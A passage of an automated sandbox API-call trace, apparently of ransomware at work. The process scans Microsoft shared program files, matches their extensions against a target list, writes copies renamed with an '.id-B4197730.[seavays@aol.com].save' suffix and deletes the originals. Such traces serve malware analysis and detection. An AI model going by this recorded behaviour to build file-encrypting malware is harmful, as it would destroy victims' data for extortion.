lpFileSize=0x314ff14*=9728) returned 1 [0073.679] CloseHandle (hObject=0x378) returned 1 [0073.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0073.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.680] lstrlenW (lpString=".doc") returned 4 [0073.680] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.680] lstrlenW (lpString=".docx") returned 5 [0073.680] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.680] lstrlenW (lpString=".pdf") returned 4 [0073.680] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.680] lstrlenW (lpString=".xls") returned 4 [0073.680] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.680] lstrlenW (lpString=".xlsx") returned 5 [0073.680] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.680] lstrlenW (lpString=".ppt") returned 4 [0073.680] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.680] lstrlenW (lpString=".zip") returned 4 [0073.680] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.680] lstrlenW (lpString=".rar") returned 4 [0073.680] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.680] lstrlenW (lpString=".bz2") returned 4 [0073.680] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.680] lstrlenW (lpString=".7z") returned 3 [0073.680] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.680] lstrlenW (lpString=".dbf") returned 4 [0073.680] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.680] lstrlenW (lpString=".1cd") returned 4 [0073.680] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.680] lstrlenW (lpString=".jpg") returned 4 [0073.680] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.681] lstrlenW (lpString=".doc") returned 4 [0073.681] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.681] lstrlenW (lpString=".docx") returned 5 [0073.681] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0073.681] lstrlenW (lpString=".pdf") returned 4 [0073.681] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.681] lstrlenW (lpString=".xls") returned 4 [0073.681] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.681] lstrlenW (lpString=".xlsx") returned 5 [0073.681] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0073.681] lstrlenW (lpString=".ppt") returned 4 [0073.681] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.681] lstrlenW (lpString=".zip") returned 4 [0073.681] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.681] lstrlenW (lpString=".rar") returned 4 [0073.681] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.681] lstrlenW (lpString=".bz2") returned 4 [0073.681] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.681] lstrlenW (lpString=".7z") returned 3 [0073.681] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.681] lstrlenW (lpString=".dbf") returned 4 [0073.681] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.681] lstrlenW (lpString=".1cd") returned 4 [0073.681] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0073.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0073.681] lstrlenW (lpString=".jpg") returned 4 [0073.682] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0073.682] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0073.682] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0073.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0073.682] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=8704) returned 1 [0073.682] CloseHandle (hObject=0x378) returned 1 [0073.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0073.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0073.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0073.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0073.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0073.683] lstrlenW (lpString=".doc") returned 4 [0073.683] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0073.683] lstrlenW (lpString=".docx") returned 5 [0073.683] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0073.683] lstrlenW (lpString=".pdf") returned 4 [0073.683] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0073.683] lstrlenW (lpString=".xls") returned 4 [0073.683] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0073.683] lstrlenW (lpString=".xlsx") returned 5 [0073.683] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0073.683] lstrlenW (lpString=".ppt") returned 4 [0073.683] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0073.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0073.683] lstrlenW (lpString=".zip") returned 4 [0073.683] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0073.683] lstrlenW (lpString=".rar") returned 4 [0073.683] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0073.683] lstrlenW (lpString=".bz2") returned 4 [0073.683] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0073.683] lstrlenW (lpString=".7z") returned 3 [0073.683] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0073.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 84 [0073.683] lstrlenW (lpString=".dbf") returned 4 [0073.683] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0073.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0074.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0074.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0074.027] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.028] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0074.028] GetLastError () returned 0x0 [0074.028] ReadFile (in: hFile=0x2e8, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0074.311] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0074.332] ReadFile (in: hFile=0x2e8, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x68268, lpOverlapped=0x0) returned 1 [0074.740] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x68270, lpOverlapped=0x0) returned 1 [0074.752] ReadFile (in: hFile=0x2e8, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.753] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xea, lpOverlapped=0x0) returned 1 [0074.753] SetEndOfFile (hFile=0x2ec) returned 1 [0074.753] CloseHandle (hObject=0x2ec) returned 1 [0074.753] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.753] SetEndOfFile (hFile=0x2e8) returned 1 [0074.758] CloseHandle (hObject=0x2e8) returned 1 [0074.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0074.758] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0074.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.961] lstrlenW (lpString=".doc") returned 4 [0074.961] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.961] lstrlenW (lpString=".docx") returned 5 [0074.961] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0074.961] lstrlenW (lpString=".pdf") returned 4 [0074.961] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.961] lstrlenW (lpString=".xls") returned 4 [0074.961] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.961] lstrlenW (lpString=".xlsx") returned 5 [0074.961] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0074.961] lstrlenW (lpString=".ppt") returned 4 [0074.962] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.962] lstrlenW (lpString=".zip") returned 4 [0074.962] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.962] lstrlenW (lpString=".rar") returned 4 [0074.962] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.962] lstrlenW (lpString=".bz2") returned 4 [0074.962] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.962] lstrlenW (lpString=".7z") returned 3 [0074.962] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.962] lstrlenW (lpString=".dbf") returned 4 [0074.962] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.962] lstrlenW (lpString=".1cd") returned 4 [0074.962] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.962] lstrlenW (lpString=".jpg") returned 4 [0074.962] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.962] lstrlenW (lpString=".doc") returned 4 [0074.962] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.962] lstrlenW (lpString=".docx") returned 5 [0074.962] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0074.963] lstrlenW (lpString=".pdf") returned 4 [0074.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.963] lstrlenW (lpString=".xls") returned 4 [0074.963] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.963] lstrlenW (lpString=".xlsx") returned 5 [0074.963] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0074.963] lstrlenW (lpString=".ppt") returned 4 [0074.963] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.963] lstrlenW (lpString=".zip") returned 4 [0074.963] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.963] lstrlenW (lpString=".rar") returned 4 [0074.963] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.963] lstrlenW (lpString=".bz2") returned 4 [0074.963] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.963] lstrlenW (lpString=".7z") returned 3 [0074.963] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.963] lstrlenW (lpString=".dbf") returned 4 [0074.963] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.963] lstrlenW (lpString=".1cd") returned 4 [0074.963] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91 [0074.963] lstrlenW (lpString=".jpg") returned 4 [0074.964] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.964] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0074.964] lstrlenW (lpString="VSTOLoader.dll") returned 14 [0074.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0074.965] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=367216) returned 1 [0074.965] CloseHandle (hObject=0x2ec) returned 1 [0074.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0074.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0074.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0074.966] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.966] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0074.967] GetLastError () returned 0x0 [0074.967] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x59a70, lpOverlapped=0x0) returned 1 [0074.977] WriteFile (in: hFile=0x314, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x59a80, lpOverlapped=0x0) returned 1 [0074.985] ReadFile (in: hFile=0x2ec, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.986] WriteFile (in: hFile=0x314, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf0, lpOverlapped=0x0) returned 1 [0074.986] SetEndOfFile (hFile=0x314) returned 1 [0074.986] CloseHandle (hObject=0x314) returned 1 [0074.986] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.986] SetEndOfFile (hFile=0x2ec) returned 1 [0074.991] CloseHandle (hObject=0x2ec) returned 1 [0074.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0074.991] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0074.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.991] lstrlenW (lpString=".doc") returned 4 [0074.991] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.991] lstrlenW (lpString=".docx") returned 5 [0074.992] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0074.992] lstrlenW (lpString=".pdf") returned 4 [0074.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.992] lstrlenW (lpString=".xls") returned 4 [0074.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.992] lstrlenW (lpString=".xlsx") returned 5 [0074.992] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0074.992] lstrlenW (lpString=".ppt") returned 4 [0074.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.992] lstrlenW (lpString=".zip") returned 4 [0074.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.992] lstrlenW (lpString=".rar") returned 4 [0074.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.992] lstrlenW (lpString=".bz2") returned 4 [0074.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.992] lstrlenW (lpString=".7z") returned 3 [0074.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.992] lstrlenW (lpString=".dbf") returned 4 [0074.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.992] lstrlenW (lpString=".1cd") returned 4 [0074.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.992] lstrlenW (lpString=".jpg") returned 4 [0074.992] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.993] lstrlenW (lpString=".doc") returned 4 [0074.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.993] lstrlenW (lpString=".docx") returned 5 [0074.993] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0074.993] lstrlenW (lpString=".pdf") returned 4 [0074.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.993] lstrlenW (lpString=".xls") returned 4 [0074.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.993] lstrlenW (lpString=".xlsx") returned 5 [0074.993] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0074.993] lstrlenW (lpString=".ppt") returned 4 [0074.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.993] lstrlenW (lpString=".zip") returned 4 [0074.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.993] lstrlenW (lpString=".rar") returned 4 [0074.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.993] lstrlenW (lpString=".bz2") returned 4 [0074.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.993] lstrlenW (lpString=".7z") returned 3 [0074.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.993] lstrlenW (lpString=".dbf") returned 4 [0074.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.994] lstrlenW (lpString=".1cd") returned 4 [0074.994] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0074.994] lstrlenW (lpString=".jpg") returned 4 [0074.994] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.994] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0074.994] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23 [0074.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft 